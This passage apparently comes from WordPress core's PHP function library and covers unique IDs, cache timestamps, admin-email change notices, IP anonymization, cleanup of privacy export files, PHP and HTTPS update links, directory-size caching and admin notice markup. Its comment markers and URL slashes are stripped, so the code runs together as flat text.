each different prefix. * * It is similar to `wp_unique_id`, but each prefix has its own internal ID * counter to make each prefix independent from each other. The ID starts at 1 * and increments on each call. The returned value is not universally unique, * but it is unique across the life of the PHP process and it's stable per * prefix. * * @since 6.4.0 * * @param string $prefix Optional. Prefix for the returned ID. Default empty string. * @return string Incremental ID per prefix. function wp_unique_prefixed_id( $prefix = '' ) { static $id_counters = array(); if ( ! is_string( $prefix ) ) { wp_trigger_error( __FUNCTION__, sprintf( 'The prefix must be a string. "%s" data type given.', gettype( $prefix ) ) ); $prefix = ''; } if ( ! isset( $id_counters[ $prefix ] ) ) { $id_counters[ $prefix ] = 0; } $id = ++$id_counters[ $prefix ]; return $prefix . (string) $id; } * * Gets last changed date for the specified cache group. * * @since 4.7.0 * * @param string $group Where the cache contents are grouped. * @return string UNIX timestamp with microseconds representing when the group was last changed. function wp_cache_get_last_changed( $group ) { $last_changed = wp_cache_get( 'last_changed', $group ); if ( $last_changed ) { return $last_changed; } return wp_cache_set_last_changed( $group ); } * * Sets last changed date for the specified cache group to now. * * @since 6.3.0 * * @param string $group Where the cache contents are grouped. * @return string UNIX timestamp when the group was last changed. function wp_cache_set_last_changed( $group ) { $previous_time = wp_cache_get( 'last_changed', $group ); $time = microtime(); wp_cache_set( 'last_changed', $time, $group ); * * Fires after a cache group `last_changed` time is updated. * This may occur multiple times per page load and registered * actions must be performant. * * @since 6.3.0 * * @param string $group The cache group name. * @param int $time The new last changed time. * @param int|false $previous_time The previous last changed time. False if not previously set. do_action( 'wp_cache_set_last_changed', $group, $time, $previous_time ); return $time; } * * Sends an email to the old site admin email address when the site admin email address changes. * * @since 4.9.0 * * @param string $old_email The old site admin email address. * @param string $new_email The new site admin email address. * @param string $option_name The relevant database option name. function wp_site_admin_email_change_notification( $old_email, $new_email, $option_name ) { $send = true; Don't send the notification to the default 'admin_email' value. if ( 'you@example.com' === $old_email ) { $send = false; } * * Filters whether to send the site admin email change notification email. * * @since 4.9.0 * * @param bool $send Whether to send the email notification. * @param string $old_email The old site admin email address. * @param string $new_email The new site admin email address. $send = apply_filters( 'send_site_admin_email_change_email', $send, $old_email, $new_email ); if ( ! $send ) { return; } translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. $email_change_text = __( 'Hi, This notice confirms that the admin email address was changed on ###SITENAME###. The new admin email address is ###NEW_EMAIL###. This email has been sent to ###OLD_EMAIL### Regards, All at ###SITENAME### ###SITEURL###' ); $email_change_email = array( 'to' => $old_email, translators: Site admin email change notification email subject. %s: Site title. 'subject' => __( '[%s] Admin Email Changed' ), 'message' => $email_change_text, 'headers' => '', ); Get site name. $site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); * * Filters the contents of the email notification sent when the site admin email address is changed. * * @since 4.9.0 * * @param array $email_change_email { * Used to build wp_mail(). * * @type string $to The intended recipient. * @type string $subject The subject of the email. * @type string $message The content of the email. * The following strings have a special meaning and will get replaced dynamically: * - ###OLD_EMAIL### The old site admin email address. * - ###NEW_EMAIL### The new site admin email address. * - ###SITENAME### The name of the site. * - ###SITEURL### The URL to the site. * @type string $headers Headers. * } * @param string $old_email The old site admin email address. * @param string $new_email The new site admin email address. $email_change_email = apply_filters( 'site_admin_email_change_email', $email_change_email, $old_email, $new_email ); $email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###SITENAME###', $site_name, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] ); wp_mail( $email_change_email['to'], sprintf( $email_change_email['subject'], $site_name ), $email_change_email['message'], $email_change_email['headers'] ); } * * Returns an anonymized IPv4 or IPv6 address. * * @since 4.9.6 Abstracted from `WP_Community_Events::get_unsafe_client_ip()`. * * @param string $ip_addr The IPv4 or IPv6 address to be anonymized. * @param bool $ipv6_fallback Optional. Whether to return the original IPv6 address if the needed functions * to anonymize it are not present. Default false, return `::` (unspecified address). * @return string The anonymized IP address. function wp_privacy_anonymize_ip( $ip_addr, $ipv6_fallback = false ) { if ( empty( $ip_addr ) ) { return '0.0.0.0'; } Detect what kind of IP address this is. $ip_prefix = ''; $is_ipv6 = substr_count( $ip_addr, ':' ) > 1; $is_ipv4 = ( 3 === substr_count( $ip_addr, '.' ) ); if ( $is_ipv6 && $is_ipv4 ) { IPv6 compatibility mode, temporarily strip the IPv6 part, and treat it like IPv4. $ip_prefix = '::ffff:'; $ip_addr = preg_replace( '/^\[?[0-9a-f:]*:/i', '', $ip_addr ); $ip_addr = str_replace( ']', '', $ip_addr ); $is_ipv6 = false; } if ( $is_ipv6 ) { IPv6 addresses will always be enclosed in [] if there's a port. $left_bracket = strpos( $ip_addr, '[' ); $right_bracket = strpos( $ip_addr, ']' ); $percent = strpos( $ip_addr, '%' ); $netmask = 'ffff:ffff:ffff:ffff:0000:0000:0000:0000'; Strip the port (and [] from IPv6 addresses), if they exist. if ( false !== $left_bracket && false !== $right_bracket ) { $ip_addr = substr( $ip_addr, $left_bracket + 1, $right_bracket - $left_bracket - 1 ); } elseif ( false !== $left_bracket || false !== $right_bracket ) { The IP has one bracket, but not both, so it's malformed. return '::'; } Strip the reachability scope. if ( false !== $percent ) { $ip_addr = substr( $ip_addr, 0, $percent ); } No invalid characters should be left. if ( preg_match( '/[^0-9a-f:]/i', $ip_addr ) ) { return '::'; } Partially anonymize the IP by reducing it to the corresponding network ID. if ( function_exists( 'inet_pton' ) && function_exists( 'inet_ntop' ) ) { $ip_addr = inet_ntop( inet_pton( $ip_addr ) & inet_pton( $netmask ) ); if ( false === $ip_addr ) { return '::'; } } elseif ( ! $ipv6_fallback ) { return '::'; } } elseif ( $is_ipv4 ) { Strip any port and partially anonymize the IP. $last_octet_position = strrpos( $ip_addr, '.' ); $ip_addr = substr( $ip_addr, 0, $last_octet_position ) . '.0'; } else { return '0.0.0.0'; } Restore the IPv6 prefix to compatibility mode addresses. return $ip_prefix . $ip_addr; } * * Returns uniform "anonymous" data by type. * * @since 4.9.6 * * @param string $type The type of data to be anonymized. * @param string $data Optional. The data to be anonymized. Default empty string. * @return string The anonymous data for the requested type. function wp_privacy_anonymize_data( $type, $data = '' ) { switch ( $type ) { case 'email': $anonymous = 'deleted@site.invalid'; break; case 'url': $anonymous = 'https:site.invalid'; break; case 'ip': $anonymous = wp_privacy_anonymize_ip( $data ); break; case 'date': $anonymous = '0000-00-00 00:00:00'; break; case 'text': translators: Deleted text. $anonymous = __( '[deleted]' ); break; case 'longtext': translators: Deleted long text. $anonymous = __( 'This content was deleted by the author.' ); break; default: $anonymous = ''; break; } * * Filters the anonymous data for each type. * * @since 4.9.6 * * @param string $anonymous Anonymized data. * @param string $type Type of the data. * @param string $data Original data. return apply_filters( 'wp_privacy_anonymize_data', $anonymous, $type, $data ); } * * Returns the directory used to store personal data export files. * * @since 4.9.6 * * @see wp_privacy_exports_url * * @return string Exports directory. function wp_privacy_exports_dir() { $upload_dir = wp_upload_dir(); $exports_dir = trailingslashit( $upload_dir['basedir'] ) . 'wp-personal-data-exports/'; * * Filters the directory used to store personal data export files. * * @since 4.9.6 * @since 5.5.0 Exports now use relative paths, so changes to the directory * via this filter should be reflected on the server. * * @param string $exports_dir Exports directory. return apply_filters( 'wp_privacy_exports_dir', $exports_dir ); } * * Returns the URL of the directory used to store personal data export files. * * @since 4.9.6 * * @see wp_privacy_exports_dir * * @return string Exports directory URL. function wp_privacy_exports_url() { $upload_dir = wp_upload_dir(); $exports_url = trailingslashit( $upload_dir['baseurl'] ) . 'wp-personal-data-exports/'; * * Filters the URL of the directory used to store personal data export files. * * @since 4.9.6 * @since 5.5.0 Exports now use relative paths, so changes to the directory URL * via this filter should be reflected on the server. * * @param string $exports_url Exports directory URL. return apply_filters( 'wp_privacy_exports_url', $exports_url ); } * * Schedules a `WP_Cron` job to delete expired export files. * * @since 4.9.6 function wp_schedule_delete_old_privacy_export_files() { if ( wp_installing() ) { return; } if ( ! wp_next_scheduled( 'wp_privacy_delete_old_export_files' ) ) { wp_schedule_event( time(), 'hourly', 'wp_privacy_delete_old_export_files' ); } } * * Cleans up export files older than three days old. * * The export files are stored in `wp-content/uploads`, and are therefore publicly * accessible. A CSPRN is appended to the filename to mitigate the risk of an * unauthorized person downloading the file, but it is still possible. Deleting * the file after the data subject has had a chance to delete it adds an additional * layer of protection. * * @since 4.9.6 function wp_privacy_delete_old_export_files() { $exports_dir = wp_privacy_exports_dir(); if ( ! is_dir( $exports_dir ) ) { return; } require_once ABSPATH . 'wp-admin/includes/file.php'; $export_files = list_files( $exports_dir, 100, array( 'index.php' ) ); * * Filters the lifetime, in seconds, of a personal data export file. * * By default, the lifetime is 3 days. Once the file reaches that age, it will automatically * be deleted by a cron job. * * @since 4.9.6 * * @param int $expiration The expiration age of the export, in seconds. $expiration = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS ); foreach ( (array) $export_files as $export_file ) { $file_age_in_seconds = time() - filemtime( $export_file ); if ( $expiration < $file_age_in_seconds ) { unlink( $export_file ); } } } * * Gets the URL to learn more about updating the PHP version the site is running on. * * This URL can be overridden by specifying an environment variable `WP_UPDATE_PHP_URL` or by using the * {@see 'wp_update_php_url'} filter. Providing an empty string is not allowed and will result in the * default URL being used. Furthermore the page the URL links to should preferably be localized in the * site language. * * @since 5.1.0 * * @return string URL to learn more about updating PHP. function wp_get_update_php_url() { $default_url = wp_get_default_update_php_url(); $update_url = $default_url; if ( false !== getenv( 'WP_UPDATE_PHP_URL' ) ) { $update_url = getenv( 'WP_UPDATE_PHP_URL' ); } * * Filters the URL to learn more about updating the PHP version the site is running on. * * Providing an empty string is not allowed and will result in the default URL being used. Furthermore * the page the URL links to should preferably be localized in the site language. * * @since 5.1.0 * * @param string $update_url URL to learn more about updating PHP. $update_url = apply_filters( 'wp_update_php_url', $update_url ); if ( empty( $update_url ) ) { $update_url = $default_url; } return $update_url; } * * Gets the default URL to learn more about updating the PHP version the site is running on. * * Do not use this function to retrieve this URL. Instead, use {@see wp_get_update_php_url()} when relying on the URL. * This function does not allow modifying the returned URL, and is only used to compare the actually used URL with the * default one. * * @since 5.1.0 * @access private * * @return string Default URL to learn more about updating PHP. function wp_get_default_update_php_url() { return _x( 'https:wordpress.org/support/update-php/', 'localized PHP upgrade information page' ); } * * Prints the default annotation for the web host altering the "Update PHP" page URL. * * This function is to be used after {@see wp_get_update_php_url()} to display a consistent * annotation if the web host has altered the default "Update PHP" page URL. * * @since 5.1.0 * @since 5.2.0 Added the `$before` and `$after` parameters. * @since 6.4.0 Added the `$display` parameter. * * @param string $before Markup to output before the annotation. Default `<p class="description">`. * @param string $after Markup to output after the annotation. Default `</p>`. * @param bool $display Whether to echo or return the markup. Default `true` for echo. * * @return string|void function wp_update_php_annotation( $before = '<p class="description">', $after = '</p>', $display = true ) { $annotation = wp_get_update_php_annotation(); if ( $annotation ) { if ( $display ) { echo $before . $annotation . $after; } else { return $before . $annotation . $after; } } } * * Returns the default annotation for the web hosting altering the "Update PHP" page URL. * * This function is to be used after {@see wp_get_update_php_url()} to return a consistent * annotation if the web host has altered the default "Update PHP" page URL. * * @since 5.2.0 * * @return string Update PHP page annotation. An empty string if no custom URLs are provided. function wp_get_update_php_annotation() { $update_url = wp_get_update_php_url(); $default_url = wp_get_default_update_php_url(); if ( $update_url === $default_url ) { return ''; } $annotation = sprintf( translators: %s: Default Update PHP page URL. __( 'This resource is provided by your web host, and is specific to your site. For more information, <a href="%s" target="_blank">see the official WordPress documentation</a>.' ), esc_url( $default_url ) ); return $annotation; } * * Gets the URL for directly updating the PHP version the site is running on. * * A URL will only be returned if the `WP_DIRECT_UPDATE_PHP_URL` environment variable is specified or * by using the {@see 'wp_direct_php_update_url'} filter. This allows hosts to send users directly to * the page where they can update PHP to a newer version. * * @since 5.1.1 * * @return string URL for directly updating PHP or empty string. function wp_get_direct_php_update_url() { $direct_update_url = ''; if ( false !== getenv( 'WP_DIRECT_UPDATE_PHP_URL' ) ) { $direct_update_url = getenv( 'WP_DIRECT_UPDATE_PHP_URL' ); } * * Filters the URL for directly updating the PHP version the site is running on from the host. * * @since 5.1.1 * * @param string $direct_update_url URL for directly updating PHP. $direct_update_url = apply_filters( 'wp_direct_php_update_url', $direct_update_url ); return $direct_update_url; } * * Displays a button directly linking to a PHP update process. * * This provides hosts with a way for users to be sent directly to their PHP update process. * * The button is only displayed if a URL is returned by `wp_get_direct_php_update_url()`. * * @since 5.1.1 function wp_direct_php_update_button() { $direct_update_url = wp_get_direct_php_update_url(); if ( empty( $direct_update_url ) ) { return; } echo '<p class="button-container">'; printf( '<a class="button button-primary" href="%1$s" target="_blank" rel="noopener">%2$s<span class="screen-reader-text"> %3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>', esc_url( $direct_update_url ), __( 'Update PHP' ), translators: Hidden accessibility text. __( '(opens in a new tab)' ) ); echo '</p>'; } * * Gets the URL to learn more about updating the site to use HTTPS. * * This URL can be overridden by specifying an environment variable `WP_UPDATE_HTTPS_URL` or by using the * {@see 'wp_update_https_url'} filter. Providing an empty string is not allowed and will result in the * default URL being used. Furthermore the page the URL links to should preferably be localized in the * site language. * * @since 5.7.0 * * @return string URL to learn more about updating to HTTPS. function wp_get_update_https_url() { $default_url = wp_get_default_update_https_url(); $update_url = $default_url; if ( false !== getenv( 'WP_UPDATE_HTTPS_URL' ) ) { $update_url = getenv( 'WP_UPDATE_HTTPS_URL' ); } * * Filters the URL to learn more about updating the HTTPS version the site is running on. * * Providing an empty string is not allowed and will result in the default URL being used. Furthermore * the page the URL links to should preferably be localized in the site language. * * @since 5.7.0 * * @param string $update_url URL to learn more about updating HTTPS. $update_url = apply_filters( 'wp_update_https_url', $update_url ); if ( empty( $update_url ) ) { $update_url = $default_url; } return $update_url; } * * Gets the default URL to learn more about updating the site to use HTTPS. * * Do not use this function to retrieve this URL. Instead, use {@see wp_get_update_https_url()} when relying on the URL. * This function does not allow modifying the returned URL, and is only used to compare the actually used URL with the * default one. * * @since 5.7.0 * @access private * * @return string Default URL to learn more about updating to HTTPS. function wp_get_default_update_https_url() { translators: Documentation explaining HTTPS and why it should be used. return __( 'https:wordpress.org/documentation/article/why-should-i-use-https/' ); } * * Gets the URL for directly updating the site to use HTTPS. * * A URL will only be returned if the `WP_DIRECT_UPDATE_HTTPS_URL` environment variable is specified or * by using the {@see 'wp_direct_update_https_url'} filter. This allows hosts to send users directly to * the page where they can update their site to use HTTPS. * * @since 5.7.0 * * @return string URL for directly updating to HTTPS or empty string. function wp_get_direct_update_https_url() { $direct_update_url = ''; if ( false !== getenv( 'WP_DIRECT_UPDATE_HTTPS_URL' ) ) { $direct_update_url = getenv( 'WP_DIRECT_UPDATE_HTTPS_URL' ); } * * Filters the URL for directly updating the PHP version the site is running on from the host. * * @since 5.7.0 * * @param string $direct_update_url URL for directly updating PHP. $direct_update_url = apply_filters( 'wp_direct_update_https_url', $direct_update_url ); return $direct_update_url; } * * Gets the size of a directory. * * A helper function that is used primarily to check whether * a blog has exceeded its allowed upload space. * * @since MU (3.0.0) * @since 5.2.0 $max_execution_time parameter added. * * @param string $directory Full path of a directory. * @param int $max_execution_time Maximum time to run before giving up. In seconds. * The timeout is global and is measured from the moment WordPress started to load. * @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout. function get_dirsize( $directory, $max_execution_time = null ) { * Exclude individual site directories from the total when checking the main site of a network, * as they are subdirectories and should not be counted. if ( is_multisite() && is_main_site() ) { $size = recurse_dirsize( $directory, $directory . '/sites', $max_execution_time ); } else { $size = recurse_dirsize( $directory, null, $max_execution_time ); } return $size; } * * Gets the size of a directory recursively. * * Used by get_dirsize() to get a directory size when it contains other directories. * * @since MU (3.0.0) * @since 4.3.0 The `$exclude` parameter was added. * @since 5.2.0 The `$max_execution_time` parameter was added. * @since 5.6.0 The `$directory_cache` parameter was added. * * @param string $directory Full path of a directory. * @param string|string[] $exclude Optional. Full path of a subdirectory to exclude from the total, * or array of paths. Expected without trailing slash(es). * Default null. * @param int $max_execution_time Optional. Maximum time to run before giving up. In seconds. * The timeout is global and is measured from the moment * WordPress started to load. Defaults to the value of * `max_execution_time` PHP setting. * @param array $directory_cache Optional. Array of cached directory paths. * Defaults to the value of `dirsize_cache` transient. * @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout. function recurse_dirsize( $directory, $exclude = null, $max_execution_time = null, &$directory_cache = null ) { $directory = untrailingslashit( $directory ); $save_cache = false; if ( ! isset( $directory_cache ) ) { $directory_cache = get_transient( 'dirsize_cache' ); $save_cache = true; } if ( isset( $directory_cache[ $directory ] ) && is_int( $directory_cache[ $directory ] ) ) { return $directory_cache[ $directory ]; } if ( ! file_exists( $directory ) || ! is_dir( $directory ) || ! is_readable( $directory ) ) { return false; } if ( ( is_string( $exclude ) && $directory === $exclude ) || ( is_array( $exclude ) && in_array( $directory, $exclude, true ) ) ) { return false; } if ( null === $max_execution_time ) { Keep the previous behavior but attempt to prevent fatal errors from timeout if possible. if ( function_exists( 'ini_get' ) ) { $max_execution_time = ini_get( 'max_execution_time' ); } else { Disable... $max_execution_time = 0; } Leave 1 second "buffer" for other operations if $max_execution_time has reasonable value. if ( $max_execution_time > 10 ) { $max_execution_time -= 1; } } * * Filters the amount of storage space used by one directory and all its children, in megabytes. * * Return the actual used space to short-circuit the recursive PHP file size calculation * and use something else, like a CDN API or native operating system tools for better performance. * * @since 5.6.0 * * @param int|false $space_used The amount of used space, in bytes. Default false. * @param string $directory Full path of a directory. * @param string|string[]|null $exclude Full path of a subdirectory to exclude from the total, * or array of paths. * @param int $max_execution_time Maximum time to run before giving up. In seconds. * @param array $directory_cache Array of cached directory paths. $size = apply_filters( 'pre_recurse_dirsize', false, $directory, $exclude, $max_execution_time, $directory_cache ); if ( false === $size ) { $size = 0; $handle = opendir( $directory ); if ( $handle ) { while ( ( $file = readdir( $handle ) ) !== false ) { $path = $directory . '/' . $file; if ( '.' !== $file && '..' !== $file ) { if ( is_file( $path ) ) { $size += filesize( $path ); } elseif ( is_dir( $path ) ) { $handlesize = recurse_dirsize( $path, $exclude, $max_execution_time, $directory_cache ); if ( $handlesize > 0 ) { $size += $handlesize; } } if ( $max_execution_time > 0 && ( microtime( true ) - WP_START_TIMESTAMP ) > $max_execution_time ) { Time exceeded. Give up instead of risking a fatal timeout. $size = null; break; } } } closedir( $handle ); } } if ( ! is_array( $directory_cache ) ) { $directory_cache = array(); } $directory_cache[ $directory ] = $size; Only write the transient on the top level call and not on recursive calls. if ( $save_cache ) { $expiration = ( wp_using_ext_object_cache() ) ? 0 : 10 * YEAR_IN_SECONDS; set_transient( 'dirsize_cache', $directory_cache, $expiration ); } return $size; } * * Cleans directory size cache used by recurse_dirsize(). * * Removes the current directory and all parent directories from the `dirsize_cache` transient. * * @since 5.6.0 * @since 5.9.0 Added input validation with a notice for invalid input. * * @param string $path Full path of a directory or file. function clean_dirsize_cache( $path ) { if ( ! is_string( $path ) || empty( $path ) ) { trigger_error( sprintf( translators: 1: Function name, 2: A variable type, like "boolean" or "integer". __( '%1$s only accepts a non-empty path string, received %2$s.' ), '<code>clean_dirsize_cache()</code>', '<code>' . gettype( $path ) . '</code>' ) ); return; } $directory_cache = get_transient( 'dirsize_cache' ); if ( empty( $directory_cache ) ) { return; } $expiration = ( wp_using_ext_object_cache() ) ? 0 : 10 * YEAR_IN_SECONDS; if ( ! str_contains( $path, '/' ) && ! str_contains( $path, '\\' ) ) { unset( $directory_cache[ $path ] ); set_transient( 'dirsize_cache', $directory_cache, $expiration ); return; } $last_path = null; $path = untrailingslashit( $path ); unset( $directory_cache[ $path ] ); while ( $last_path !== $path && DIRECTORY_SEPARATOR !== $path && '.' !== $path && '..' !== $path ) { $last_path = $path; $path = dirname( $path ); unset( $directory_cache[ $path ] ); } set_transient( 'dirsize_cache', $directory_cache, $expiration ); } * * Checks compatibility with the current WordPress version. * * @since 5.2.0 * * @global string $wp_version The WordPress version string. * * @param string $required Minimum required WordPress version. * @return bool True if required version is compatible or empty, false if not. function is_wp_version_compatible( $required ) { global $wp_version; Strip off any -alpha, -RC, -beta, -src suffixes. list( $version ) = explode( '-', $wp_version ); return empty( $required ) || version_compare( $version, $required, '>=' ); } * * Checks compatibility with the current PHP version. * * @since 5.2.0 * * @param string $required Minimum required PHP version. * @return bool True if required version is compatible or empty, false if not. function is_php_version_compatible( $required ) { return empty( $required ) || version_compare( PHP_VERSION, $required, '>=' ); } * * Checks if two numbers are nearly the same. * * This is similar to using `round()` but the precision is more fine-grained. * * @since 5.3.0 * * @param int|float $expected The expected value. * @param int|float $actual The actual number. * @param int|float $precision Optional. The allowed variation. Default 1. * @return bool Whether the numbers match within the specified precision. function wp_fuzzy_number_match( $expected, $actual, $precision = 1 ) { return abs( (float) $expected - (float) $actual ) <= $precision; } * * Creates and returns the markup for an admin notice. * * @since 6.4.0 * * @param string $message The message. * @param array $args { * Optional. An array of arguments for the admin notice. Default empty array. * * @type string $type Optional. The type of admin notice. * For example, 'error', 'success', 'warning', 'info'. * Default empty string. * @type bool $dismissible Optional. Whether the admin notice is dismissible. Default false. * @type string $id Optional. The value of the admin notice's ID attribute. Default empty string. * @type string[] $additional_classes Optional. A string array of class names. Default empty array. * @type string[] $attributes Optional. Additional attributes for the notice div. Default empty array. * @type bool $paragraph_wrap Optional. Whether to wrap the message in paragraph tags. Default true. * } * @return string The markup for an admin notice. function wp_get_admin_notice( $message, $args = array() ) { $defaults = array( 'type' => '', 'dismissible' => false, 'id' => '', 'additional_classes' => array(), 'attributes' => array(), 'paragraph_wrap' => true, ); $args = wp_parse_args( $args, $defaults ); * * Filters the arguments for an admin notice. * * @since 6.4.0 * * @param array $args The arguments for the admin notice. * @param string $message The message for the admin notice. $args = apply_filters( 'wp_admin_notice_args', $args, $message ); $id = ''; $classes = 'notice'; $attributes = ''; if ( is_string( $args['id'] ) ) { $trimmed_id = trim( $args['id'] ); if ( '' !== $trimmed_id ) { $id = 'id="' . $trimmed_id . '" '; } } if ( is_string( $args['type'] ) ) { $type = trim( $args['type'] ); if ( str_contains( $type, ' ' ) ) { _doing_it_wrong( __FUNCTION__, sprintf( translators: %s: The "type" key. __( 'The %s key must be a string without spaces.' ), '<code>type</code>' ), '6.4.0' ); } if ( '' !== $type ) { $classes .= ' notice-' . $type; } } if ( true === $args['dismissible'] ) { $classes .= ' is-dismissible'; } if ( is_array( $args['additional_classes'] ) && ! empty( $args['additional_classes'] ) ) { $classes .= ' ' . implode( ' ', $args['additional_classes'] ); } if ( is_array( $args['attributes'] ) && ! empty( $args['attributes'] ) ) { $attributes = ''; foreach ( $args['attributes'] as $attr => $val ) { if ( is_bool( $val ) ) { $attributes .= $val ? ' ' . $attr : ''; } elseif ( is_int( $attr ) ) { $attributes .= ' ' . esc_attr( trim( $val ) ); } elseif ( $val ) { $attributes .= ' ' . $attr . '="' . esc_attr( trim( $val ) ) . '"'; } } } if ( false !== $args['paragraph_wrap'] ) { $message = "<p>$message</p>"; } $markup = sprintf( '<div %1$sclass="%2$s"%3$s>%4$s</div>', $id, $classes, $attributes, $message ); * * Filters the markup for an admin notice. * * @since 6.4.0 * * @param string $markup The HTML markup for the admin notice. * @param string $message The message for the admin notice. * @param array $args The arguments for the admin notice. return apply_filters( 'wp_admin_notice_markup', $markup, $message, $args ); } * * Outputs an admin notice. * * @since 6.4.0 * * @param string $message The message to output. * @param array $args { * Optional. An array of arguments for the admin notice. Default empty array. * * @type string $type Optional. The type of admin notice. * For example, 'error', 'success', 'warning', 'info'. * Default empty string. * @type bool $dismissible Optional. Whether the admin notice is dismissible. Default false. * @type string $id Optional. The value of the admin notice's ID attribute. Default empty string. * @type string[] $additional_classes Optional. A string array of class names. Default empty array. * @type bool $paragraph_wrap Optional. Whether to wrap the message in paragraph tags. Default true. * } function wp_admin_notice( $message, $args = array() ) { * * Fires before an admin notice is output. * * @since 6.4.0 * * @param string $message The message for the admin notice. * @param array $args The arguments for the admin notice. do_action( 'wp_admin_notice', $message, $args ); echo wp_kses_post( wp_get_admin_notice( $message, $args ) ); } */
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